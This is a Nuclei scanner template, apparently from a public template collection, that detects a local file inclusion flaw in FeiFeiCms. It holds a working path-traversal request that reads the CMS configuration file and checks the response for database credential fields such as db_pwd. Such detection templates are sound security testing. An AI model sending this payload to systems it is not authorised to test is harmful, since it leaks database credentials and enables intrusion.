id: feifeicms-lfr

info:
  name: FeiFeiCms - Local File Inclusion
  author: princechaddha
  severity: high
  description: FeiFeiCms is vulnerable to local file inclusion.
  reference:
    - https://www.cnblogs.com/jinqi520/p/10202615.html
    - https://gitee.com/daicuo/feifeicms
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: feifeicms,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?s=Admin-Data-down&id=../../Conf/config.php"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<?php"
          - "db_name"
          - "db_pwd"
          - "db_host"
        condition: and
        part: body
# digest: 4b0a00483046022100ab26eeb98ba8d320ad199871866ed5514177956e8d86eeac0eacd09a78b05c8e0221009fec8242fee97c43f49657b883787bd8c61e6af70fa57e0368e9564cb6e521b9:922c64590222798bb761d5b6d8e72950